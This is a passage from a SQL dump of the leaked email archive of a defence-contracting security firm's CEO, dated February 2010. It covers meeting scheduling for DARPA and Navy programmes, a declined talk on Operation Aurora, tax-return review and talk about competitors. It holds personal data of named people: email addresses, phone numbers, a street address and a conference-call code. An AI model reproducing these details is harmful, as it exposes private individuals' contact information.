847-5193\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: rf4864@aol.com\r\n[mailto:rf4864@aol.com] \r\nSent: Tuesday, February 16, 2010 9:35 PM\r\nTo: Frisbie, Robert P\r\nSubject: Fwd: Catch Up\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Robert Frisbie &lt;rf4864@aol.com&gt;\r\nSent: Tue, Feb 16, 2010 10:30 am\r\nSubject: Catch Up\r\n\r\n\r\n \r\n  \r\n  LinkedIn\r\n  \r\n  Aaron\r\n  Barr\r\n  has sent you a message.\r\n  \r\n  \r\n  Date: 2/16/2010 \r\n  \r\n  \r\n  Subject: Catch Up \r\n  \r\n  \r\n  Hi\r\n  Bob,\r\n  \r\n  If you have some time next week I would like to stop by and catch up.\r\n  \r\n  Aaron \r\n  \r\n  \r\n  View/reply to this message\r\n  \r\n  \r\n  Don\'t want to receive e-mail notifications? Adjust your message settings.\r\n  \r\n  \r\n  © 2010, LinkedIn Corporation\r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3611,'aaron_hbgary_com/3611.html'),(2728,'2010-02-17','\"Chris Hummel\" <chris_hummel@hotmail.com>','/aaron@hbgary.com/new/1297001264.M23068P3547Q2728.eml','aaron@hbgary.com','RE: Introductions','\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n&nbsp;\r\nI don\'t work directly for Mark or Chris, but I do engage with various people in their organization.&nbsp; I\'ll have some time either Monday morning to chat before flying out to the west coast, or Wednesday and thereafter once I return.&nbsp; I look forward to talking to you as well.\r\n&nbsp;\r\nThanks,\r\nChris\r\n&nbsp;&gt; From: aaron@hbgary.com&gt; Subject: Introductions&gt; Date: Wed, 17 Feb 2010 00:41:31 -0500&gt; To: chris_hummel@hotmail.com&gt; &gt; Hi Chris,&gt; &gt; I was given your resume from our product side. Your name rings a bell and I am sure we have met before. Do you work for Mark Leary or Chris Barnett?&gt; &gt; I am interested to talk to you about your resume and positions we are going to be opening up in the next month. I am out of town for the next few days. Let me know what your schedule is like next week.&gt; &gt; Look forward to talking with you.&gt; &gt; Aaron Barr&gt; CEO&gt; HBGary Federal Inc.&gt; &gt; &gt;  		 	   		  Hotmail: Free, trusted and rich email service. Get it now.\r\n',9299,'aaron_hbgary_com/9299.html'),(2729,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001264.M297843P3547Q2729.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: GD/HBGary: technical interchange: RE: DARPA Cyber Genome BAA','Hi Chris,I talked to Greg. &nbsp;He will be on the call today. &nbsp;Is there any chance of moving it to 3pm?AaronOn Feb 16, 2010, at 4:02 PM, Starr, Christopher H. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, February 17, 2010 2:30 PM-4:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).Where: 866-765-5631, code 5057292#*~*~*~*~*~*~*~*~*~*GD &amp; HBGary: technical interchange: RE: DARPA Cyber Genome BAA866-765-5631, code 5057292#-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Technical interchange between HBGary and GD on innovative technical ideas for the DARPA Cyber Genome BAA-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Greg Hoglund of HBGary is expected to attend this meeting-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; We will also touch ono&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GD / HBGary teaming approach§&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Who primes what§&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Templates for establishing teaming agreementso&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Customer and competitive intelligenceCyber Genome DARPA-BAA-10-36:https://www.fbo.gov/index?tab=documents&amp;s=opportunity&amp;mode=form&amp;id=c34caee99a41eb14d4ca81949d4f2fde&amp;tabmode=list DARPA-BAA-10-36_Cyber_Genome _01.28.2010.docx (2409.73 kb)Questions? Contact:Chris Starr, 571-216-6140, Chris.Starr@gd-ais.com\r\n\r\n\r\n&lt;meeting.ics&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6896,'aaron_hbgary_com/6896.html'),(2730,'2010-02-17','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001264.M505836P3547Q2730.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: HBGary talk on Aurora for SAIC Tech Tuesday meeting','Aaron,\r\n \r\nLooks like Phil cannot do this talk as he is likely to be in Sacramento on Feb 23.  Can you do a talk on Aurora using the Operation Aurora report as input?  SAIC needs a yes or no answer today due to tight timelines.\r\n\r\n \r\nBob\r\nOn Tue, Feb 16, 2010 at 10:22 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\nAaron and Phil,\r\n \r\nMy longtime customer at SAIC, Tim Estell, called to say they hold montly Tech Tuesday meetings where 20-30 people show up, mostly subcontractors.  They offered to have HBGary give a talk on Operation Aurora.  Tim said, &quot;the more technical the better&quot;.  \r\n\r\n \r\nThe talk will be in Columbia, MD.  The date is Feb 23 (don&#39;t have the time).  I don&#39;t know if we&#39;ll get prospects, but I think it would be worth doing.\r\n \r\nIn my mind, both of you are candidates to give this talk.  Which of you two are the right one?\r\n \r\nBob\r\n',1923,'aaron_hbgary_com/1923.html'),(2731,'2010-02-17','\"Moore, Renee (contr-sto)\" <Renee.Moore.ctr@darpa.mil>','/aaron@hbgary.com/new/1297001264.M690093P3547Q2731.eml','\"DARPA-BAA-10-36\" <DARPA-BAA-10-36@darpa.mil>','Cyber Genome Proposers\' Day Rescheduled for February 22, 2010','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nThe February 09, 2010 Cyber Genome Proposers&#8217; Day has\r\nbeen rescheduled for February 22, 2010, same time and location.&nbsp; All\r\nprevious registered attendees have been automatically registered for this\r\nmake-up date.&nbsp; All of the information covered in the presentation at the\r\nProposers&#8217; Day is taken directly from the BAA.\r\n\r\n&nbsp;\r\n\r\nPlease reply to darpa-baa-10-36@darpa.mil\r\nif you **cannot** attend.&nbsp; \r\n\r\n&nbsp;\r\n\r\nPlease see www.fbo.gov for\r\nthe official Cyber Genome Proposers&#8217; Day Announcement.&nbsp; \r\n\r\n&nbsp;\r\n\r\nThank you,\r\n\r\n&nbsp;\r\n\r\nRenee Moore\r\n\r\nSETA\r\n\r\nDARPA/STO\r\n\r\nrenee.moore.ctr@darpa.mil\r\n\r\n703-351-9284\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9738,'aaron_hbgary_com/9738.html'),(2732,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001264.M903593P3547Q2732.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: HBGary talk on Aurora for SAIC Tech Tuesday meeting','Hi Bob,I can\'t that day. &nbsp;Plus I am not sure I am the right guy if the audience wants to go down in the weeds for malware analysis. &nbsp;I can talk to the operation, the distinction between 3 separate Aurora-like attacks, command and control, why at least 2 of the attacks are likely not state-sponsored and why the 3rd one likely is, etc. &nbsp;But I am not the guy to talk about packers, obfuscation techniques, particular binary functions. &nbsp;I would think a good combo would be me and Phil if we can do it for another time.BTW, I was tracking a bunch of sites that were used in the 3rd wave of attacks and most of those have been taken down. &nbsp;There is a very popular service called Baidu, its like our google/yahoo. &nbsp;For search its more popular in China than google and also allows for personal site hosting. &nbsp;There were a lot of sites created to discuss and distribute Aurora like malware, now all dismantled.AaronOn Feb 17, 2010, at 8:15 AM, Bob Slapnik wrote:Aaron,\r\n&nbsp;\r\nLooks like Phil cannot do this talk as he is likely to be in Sacramento on Feb 23.&nbsp; Can you do a talk on Aurora using the Operation Aurora report as input?&nbsp; SAIC needs a yes or no answer today due to tight timelines.\r\n\r\n&nbsp;\r\nBob\r\nOn Tue, Feb 16, 2010 at 10:22 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\nAaron and Phil,\r\n&nbsp;\r\nMy longtime customer at SAIC, Tim Estell, called to say they hold&nbsp;montly Tech Tuesday meetings where 20-30 people show up, mostly subcontractors.&nbsp; They offered to have HBGary give a talk on Operation Aurora.&nbsp; Tim said, \"the more technical the better\".&nbsp; \r\n\r\n&nbsp;\r\nThe talk will be in Columbia, MD.&nbsp; The date is Feb 23 (don\'t have the time).&nbsp; I don\'t know if we\'ll get prospects, but I think it would be worth doing.\r\n&nbsp;\r\nIn my mind, both of you are candidates to give this talk.&nbsp; Which of you two are the right one?\r\n&nbsp;\r\nBob\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13034,'aaron_hbgary_com/13034.html'),(2733,'2010-02-17','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001265.M302663P3547Q2734.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: HBGary talk on Aurora for SAIC Tech Tuesday meeting','What you described sounds like an interesting talk, but if you are unavailable then that&#39;s it.\r\n \r\nOn Wed, Feb 17, 2010 at 8:21 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHi Bob, \r\n\r\nI can&#39;t that day.  Plus I am not sure I am the right guy if the audience wants to go down in the weeds for malware analysis.  I can talk to the operation, the distinction between 3 separate Aurora-like attacks, command and control, why at least 2 of the attacks are likely not state-sponsored and why the 3rd one likely is, etc.  But I am not the guy to talk about packers, obfuscation techniques, particular binary functions.  I would think a good combo would be me and Phil if we can do it for another time.\r\n\r\n\r\nBTW, I was tracking a bunch of sites that were used in the 3rd wave of attacks and most of those have been taken down.  There is a very popular service called Baidu, its like our google/yahoo.  For search its more popular in China than google and also allows for personal site hosting.  There were a lot of sites created to discuss and distribute Aurora like malware, now all dismantled.\r\n\r\n\r\nAaron \r\n\r\n\r\n\r\n\r\nOn Feb 17, 2010, at 8:15 AM, Bob Slapnik wrote:\r\n\r\nAaron,\r\n \r\nLooks like Phil cannot do this talk as he is likely to be in Sacramento on Feb 23.  Can you do a talk on Aurora using the Operation Aurora report as input?  SAIC needs a yes or no answer today due to tight timelines.\r\n\r\n \r\nBob\r\nOn Tue, Feb 16, 2010 at 10:22 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\nAaron and Phil,\r\n \r\nMy longtime customer at SAIC, Tim Estell, called to say they hold montly Tech Tuesday meetings where 20-30 people show up, mostly subcontractors.  They offered to have HBGary give a talk on Operation Aurora.  Tim said, &quot;the more technical the better&quot;.  \r\n\r\n \r\nThe talk will be in Columbia, MD.  The date is Feb 23 (don&#39;t have the time).  I don&#39;t know if we&#39;ll get prospects, but I think it would be worth doing.\r\n \r\nIn my mind, both of you are candidates to give this talk.  Which of you two are the right one?\r\n \r\nBob\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',12632,'aaron_hbgary_com/12632.html'),(2734,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001265.M570336P3547Q2735.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: HBGary talk on Aurora for SAIC Tech Tuesday meeting','ok well forward that along for a teaser if you want to see if they are interested in another time maybe. &nbsp;Man if we had more time it would be interesting to compare those observables with the binaries from those 3 events.More time more people...&nbsp;On Feb 17, 2010, at 8:25 AM, Bob Slapnik wrote:What you described sounds like an interesting talk, but if you are unavailable then that\'s it.\r\n&nbsp;\r\nOn Wed, Feb 17, 2010 at 8:21 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHi Bob, \r\n\r\nI can\'t that day. &nbsp;Plus I am not sure I am the right guy if the audience wants to go down in the weeds for malware analysis. &nbsp;I can talk to the operation, the distinction between 3 separate Aurora-like attacks, command and control, why at least 2 of the attacks are likely not state-sponsored and why the 3rd one likely is, etc. &nbsp;But I am not the guy to talk about packers, obfuscation techniques, particular binary functions. &nbsp;I would think a good combo would be me and Phil if we can do it for another time.\r\n\r\n\r\nBTW, I was tracking a bunch of sites that were used in the 3rd wave of attacks and most of those have been taken down. &nbsp;There is a very popular service called Baidu, its like our google/yahoo. &nbsp;For search its more popular in China than google and also allows for personal site hosting. &nbsp;There were a lot of sites created to discuss and distribute Aurora like malware, now all dismantled.\r\n\r\n\r\nAaron \r\n\r\n\r\n\r\n\r\nOn Feb 17, 2010, at 8:15 AM, Bob Slapnik wrote:\r\n\r\nAaron,\r\n&nbsp;\r\nLooks like Phil cannot do this talk as he is likely to be in Sacramento on Feb 23.&nbsp; Can you do a talk on Aurora using the Operation Aurora report as input?&nbsp; SAIC needs a yes or no answer today due to tight timelines.\r\n\r\n&nbsp;\r\nBob\r\nOn Tue, Feb 16, 2010 at 10:22 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\nAaron and Phil,\r\n&nbsp;\r\nMy longtime customer at SAIC, Tim Estell, called to say they hold&nbsp;montly Tech Tuesday meetings where 20-30 people show up, mostly subcontractors.&nbsp; They offered to have HBGary give a talk on Operation Aurora.&nbsp; Tim said, \"the more technical the better\".&nbsp; \r\n\r\n&nbsp;\r\nThe talk will be in Columbia, MD.&nbsp; The date is Feb 23 (don\'t have the time).&nbsp; I don\'t know if we\'ll get prospects, but I think it would be worth doing.\r\n&nbsp;\r\nIn my mind, both of you are candidates to give this talk.&nbsp; Which of you two are the right one?\r\n&nbsp;\r\nBob\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7990,'aaron_hbgary_com/7990.html'),(2735,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001265.M775993P3547Q2736.eml','\"Stanley Chincheck\" <stanley.chincheck@nrl.navy.mil>','Re: Industry Day BAA 10-004 New Schedule','I will be attending.Aaron BarrCEOHBGary Federal Inc.On Feb 12, 2010, at 3:47 PM, Stanley Chincheck wrote:\r\nTo All,\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;If you are receiving this email, you had originally signed up for the Industry Day for BAA 10-004 (Computer Network Defense/Information Assurance (CND/IA) Enabling Capability Program) that was scheduled for 10 February 2010. &nbsp;As you all know, I sent out an email cancelling the Industry Day due to compounding snow storms that caused the Federal Government to shut down for 4 days. &nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;The purpose of this email is to alert you to the rescheduled Industry Day. &nbsp;The new date is &nbsp;– &nbsp;&nbsp;24 February 2010. &nbsp;&nbsp;I hope this does not cause any inconvenience for those planning to attend, however, the Industry Day needed to be rescheduled sooner than later. &nbsp;The check-in time, start time and location will all remain the same (as was denoted on the ONR website when you originally registered). &nbsp;Additional information provided below, will facilitate your arrival at NRL.\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;What I need each of you to do...ASAP....is to respond to myself, Claire, Sonja and Kim regarding your intent to attend. &nbsp;We need to quickly ascertain who and how many will be attending. &nbsp;Thanks.\r\n\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Stanley Chincheck\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;EC Manager\r\n\r\n\r\n\r\nPlease find the attached general directions to NRL.\r\n\r\n***\r\n\r\nIndustry Day will be held in the Friedman Room of Building 226 at the:\r\nNaval Research Laboratory\r\n4555 Overlook Ave. S.W.\r\nWashington DC, 20375\r\n\r\nDate: Wednesday, 24 February 2010\r\nCheck-in Time: 0900 – 1000\r\nIndustry Day: &nbsp;1000 – 1300\r\n\r\n***\r\n\r\nBelow are the visitor instructions on how to get onto NRL (a\r\ncontrolled-access facility) and where to drive to attend the workshop.\r\n\r\nIf you have any questions/problems with getting access onto NRL for the\r\nworkshop, please call 202-557-6190 and we will assist you.\r\n\r\n***\r\n\r\nNRL Visitor Instructions:\r\n\r\n1. Drive directly to the front gate, present your driver’s license and\r\ntell the guards that you are attending the CND/IA EC Industry Day. The\r\nguards will check your name from a list, give you a car pass and direct\r\nyou to Building 226. (Note: Taxis are not permitted inside the\r\nLaboratory. Have the taxi drop you at the NRL Visitor Center Bldg. 72,\r\nlocated just outside the Laboratory\'s front gate. Call 202-557-6190 and\r\ntransportation onto the Laboratory will be arranged for you).\r\n\r\n2. Follow the signs directing you to Building 226 and park in the\r\ndesignated reserved CND/IA EC parking. (If you have any problems\r\nfinding available parking, please call 202-557-6190 for assistance).\r\n\r\n3. Upon entering Bldg 226, you will see signs directing you to the Check-In\r\ntable for the meeting where you will be asked to show photo identification\r\nto receive your visitor\'s badge.\r\n\r\n***\r\n\r\nPlease feel free to email Claire Gladbach at\r\nclaire.gladbach.ctr@nrl.navy.mil if you have any further questions, or call\r\n202-404-8888. \r\n\r\n\r\n\r\n&lt;NRL General Directions.pdf&gt;\r\n\r\n\r\n',2034,'aaron_hbgary_com/2034.html'),(2736,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001265.M84198P3547Q2733.eml','\"Erik Mettala\" <Erik.Mettala@cobham.com>','Darpa Day','Erik,\r\n\r\nNow that the Darpa day has been rescheduled for the day of our meeting, do you want to just talk at the propers day?  We have our 30min. with Van Putte that day.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1883,'aaron_hbgary_com/1883.html'),(2737,'2010-02-17','\"Aubrey MERCHANT DEST\" <Aubrey.MERCHANTDEST@qosmos.com>','/aaron@hbgary.com/new/1297001265.M968065P3547Q2737.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: Invitation: Meeting with Qosmos @ Wed Feb 17 2pm - 3:30pm 	(aubrey.merchantdest@qosmos.com)','',2977,'aaron_hbgary_com/2977.html'),(2738,'2010-02-17','\"John L. Cox, CPA\" <johncoxcpa@verizon.net>','/aaron@hbgary.com/new/1297001266.M171699P3547Q2738.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,','RE: HBGary Federal LLC','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Penny,\r\n\r\n&nbsp;\r\n\r\nDid you forward a copy to Aaron\r\nand Ted for review or should I do this?&nbsp; Thanks.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJohn L. Cox, CPA\r\n\r\n12107\r\n  Faith Lane\r\n\r\nBowie, Maryland 20715\r\n\r\n(240) 949-6022 Voice \r\n\r\n(866) 750-1973 Fax\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis\r\nmessage contains information that may be confidential and privileged. Unless you\r\nare the addressee (or authorized to receive for the addressee), you may not\r\nuse, copy, print or disclose to anyone the message or any information contained\r\nin the message. If you have received this e-mail in error, please advise the\r\nsender by reply and delete the message. Thank you.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Tuesday, February 16, 2010 3:50 PM\r\nTo: \'John L. Cox, CPA\'\r\nCc: \'Aaron Barr\'; \'Ted Vera\'\r\nSubject: RE: HBGary Federal LLC\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThat goes to Aaron and\r\nTed.&nbsp; It looked fine to me.&nbsp; I still need to log my time for HBGary\r\nFederal but I will do that today\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: John L. Cox, CPA\r\n[mailto:johncoxcpa@verizon.net] \r\nSent: Tuesday, February 09, 2010 11:32 AM\r\nTo: \'Penny Leavy\'\r\nSubject: HBGary Federal LLC\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny,\r\n\r\n&nbsp;\r\n\r\nDo you know when you will get to the review of the HBGary\r\nFederal LLC tax returns?&nbsp; I will not assemble until you say it is okay.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nJohn L. Cox, CPA\r\n\r\n12107\r\n  Faith Lane\r\n\r\nBowie, Maryland 20715\r\n\r\n(240) 949-6022 Voice \r\n\r\n(866) 750-1973 Fax\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis\r\nmessage contains information that may be confidential and privileged. Unless\r\nyou are the addressee (or authorized to receive for the addressee), you may not\r\nuse, copy, print or disclose to anyone the message or any information contained\r\nin the message. If you have received this e-mail in error, please advise the\r\nsender by reply and delete the message. Thank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10435,'aaron_hbgary_com/10435.html'),(2739,'2010-02-17','\"Moore, Renee (contr-sto)\" <Renee.Moore.ctr@darpa.mil>','/aaron@hbgary.com/new/1297001266.M376246P3547Q2739.eml','\"DARPA-BAA-10-36\" <DARPA-BAA-10-36@darpa.mil>','RE: Cyber Genome Proposers\' Day Rescheduled for February 22, 2010','All,\r\n\r\nThe official Cyber Genome Program Proposers\' Day announcement is in the process of being posted to www.fbo.gov, so here is some additional information.\r\n\r\nAll previously scheduled Proposer presentations and meetings with Dr. VanPutte that were scheduled for February 09 are still scheduled for the same times on February 22, 2010.  If you have any questions about the schedule or need a reminder, just send me an email.  There will also be a schedule at the registration desk of the Proposers\' Day.\r\n\r\nThank you,\r\n\r\nRenee Moore\r\nSETA\r\nDARPA/STO\r\nrenee.moore.ctr@darpa.mil\r\n703-351-9284\r\n\r\n-----Original Message-----\r\nFrom: Moore, Renee (contr-sto) \r\nSent: Wednesday, February 17, 2010 8:02 AM\r\nTo: DARPA-BAA-10-36\r\nSubject: Cyber Genome Proposers\' Day Rescheduled for February 22, 2010\r\n\r\nAll,\r\n\r\nThe February 09, 2010 Cyber Genome Proposers\' Day has been rescheduled for February 22, 2010, same time and location.  All previous registered attendees have been automatically registered for this make-up date.  All of the information covered in the presentation at the Proposers\' Day is taken directly from the BAA.\r\n\r\nPlease reply to darpa-baa-10-36@darpa.mil if you **cannot** attend.  \r\n\r\nPlease see www.fbo.gov for the official Cyber Genome Proposers\' Day Announcement.  \r\n\r\nThank you,\r\n\r\nRenee Moore\r\nSETA\r\nDARPA/STO\r\nrenee.moore.ctr@darpa.mil\r\n703-351-9284\r\n\r\n \r\n\r\n',7080,'aaron_hbgary_com/7080.html'),(2740,'2010-02-17','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001266.M567315P3547Q2740.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Got some interesting feedback from Palantir','Did not get that EndGame only has DIA as a customer. They told me that\r\nthey did 10M last year.  Said they were working for NSA, Navy, and USAF.\r\nAlso mentioned another customer who we do work with.  \r\nWhile I was at their place getting briefed by Chris, Gen. Patraeus\' exec\r\ncalled three times to set a follow-up meeting. It seems like there is\r\nplenty of interest in them.\r\nWith regards to the data, not sure how good it is.  Withholding\r\njudgement til I see it. \r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 17, 2010 1:19 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Got some interesting feedback from Palantir\r\n\r\nThey are not interested in affording Endgames the same deal they gave\r\nHBGary regarding the partnership program.  For 2 reasons.  Right now\r\nthey only have 1 customer, I think its DIA.  And they aren\'t sure how\r\ngood their data really is.\r\n\r\nThoughts?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4499,'aaron_hbgary_com/4499.html'),(2741,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001266.M783320P3547Q2741.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Got some interesting feedback from Palantir','Thats right I remember you mentioning that.  Not sure where Palantir got their information.  Maybe DIA is their only paying customer?  Don\'t know.  Ok see you tonight.  I to am very eager to see their data. \r\n\r\nAaron\r\n\r\nOn Feb 17, 2010, at 10:21 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n> Did not get that EndGame only has DIA as a customer. They told me that\r\n> they did 10M last year.  Said they were working for NSA, Navy, and USAF.\r\n> Also mentioned another customer who we do work with.  \r\n> While I was at their place getting briefed by Chris, Gen. Patraeus\' exec\r\n> called three times to set a follow-up meeting. It seems like there is\r\n> plenty of interest in them.\r\n> With regards to the data, not sure how good it is.  Withholding\r\n> judgement til I see it. \r\n> \r\n> \r\n> Brian Masterson \r\n> Northrop Grumman/Xetron \r\n> Chief Technology Officer, IO Programs \r\n> Ph: 513-881-3591 \r\n> Cell: 513-706-4848 \r\n> Fax: 513-881-3877 \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, February 17, 2010 1:19 AM\r\n> To: Masterson, Brian (Xetron)\r\n> Subject: Got some interesting feedback from Palantir\r\n> \r\n> They are not interested in affording Endgames the same deal they gave\r\n> HBGary regarding the partnership program.  For 2 reasons.  Right now\r\n> they only have 1 customer, I think its DIA.  And they aren\'t sure how\r\n> good their data really is.\r\n> \r\n> Thoughts?\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11528,'aaron_hbgary_com/11528.html'),(2742,'2010-02-17','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001266.M967187P3547Q2742.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: 02.08.2010 Trip report EndGame.docx','\r\n\r\n\r\n\r\n\r\nFW: 02.08.2010 Trip report EndGame.docx\r\n\r\n\r\n\r\n\r\nSome more interesting info regarding EndGame.&nbsp; They insinuated that they were doing work but appear not to be.\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Gray, Jarrod (Xetron)\r\nSent: Wednesday, February 17, 2010 7:57 AM\r\nTo: Masterson, Brian (Xetron)\r\nCc: Verock, Matthew (Xetron)\r\nSubject: RE: 02.08.2010 Trip report EndGame.docx\r\n\r\n\r\n\r\nTalked to Eric about End Game today. He said that the most interesting stuff that they are doing is on IRAD not on contract with anyone. He wondered if they had shown off any of the automated vulnerability analysis work. He also said that End Game does not have a contract with &#8220;them&#8221; (not sure if that means Trent&#8217;s branch or the bigger org). He was very curious how we found each other. Going as far as to say &#8220;we didn&#8217;t tell them about you.&#8221; Seemed like an odd comment.\r\n\r\nWe were discussing this in relation to one or more tasks on the upcoming ECP. He said that if we saw a spot for them in that work that might be interesting.\r\n\r\nJarrod\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Wednesday, February 10, 2010 6:52 AM\r\nTo: Simoni, Martin P. (Xetron); Thompson, Bill (Xetron); Clontz, Greg (Xetron); Verock, Matthew (Xetron); Cleereman, Jim (Xetron); Cox, Kevin (Xetron)\r\nCc: Boozer, Robbin (Xetron); Brunemann, Clare (Xetron); Britton, Ben (Xetron); Dinardo, Michael (Xetron); Erickson, Neil (Xetron); Geiger, Chris M. (Xetron); Gibbs, Kevin (Xetron); Gray, Jarrod (Xetron); Henderson, Michael L. (Xetron); McNutt, Kenny (Xetron); Niermeyer, Chris (Xetron); Ott, Terry D. (Xetron); Peel, Jeff (Xetron); Williams, Justin (Xetron)\r\nSubject: 02.08.2010 Trip report EndGame.docx\r\n\r\n\r\n\r\nAll,\r\n\r\nVery interesting meeting with EndGame.&nbsp; These guys are really impressive.&nbsp; There is stuff in here on many fronts.&nbsp; I have include all on the To: line as there is impact to your current programs or customers.\r\n\r\nTHESE NOTES CONTAIN PROPRIETARY INFORMATION COVERED BY OUR NDA WITH ENDGAME.\r\n\r\n\r\n&nbsp;&lt;&lt; File: 02.08.2010 Trip report EndGame.docx &gt;&gt; \r\n\r\n\r\n',15284,'aaron_hbgary_com/15284.html'),(2743,'2010-02-17','\"Aaron Barr\" 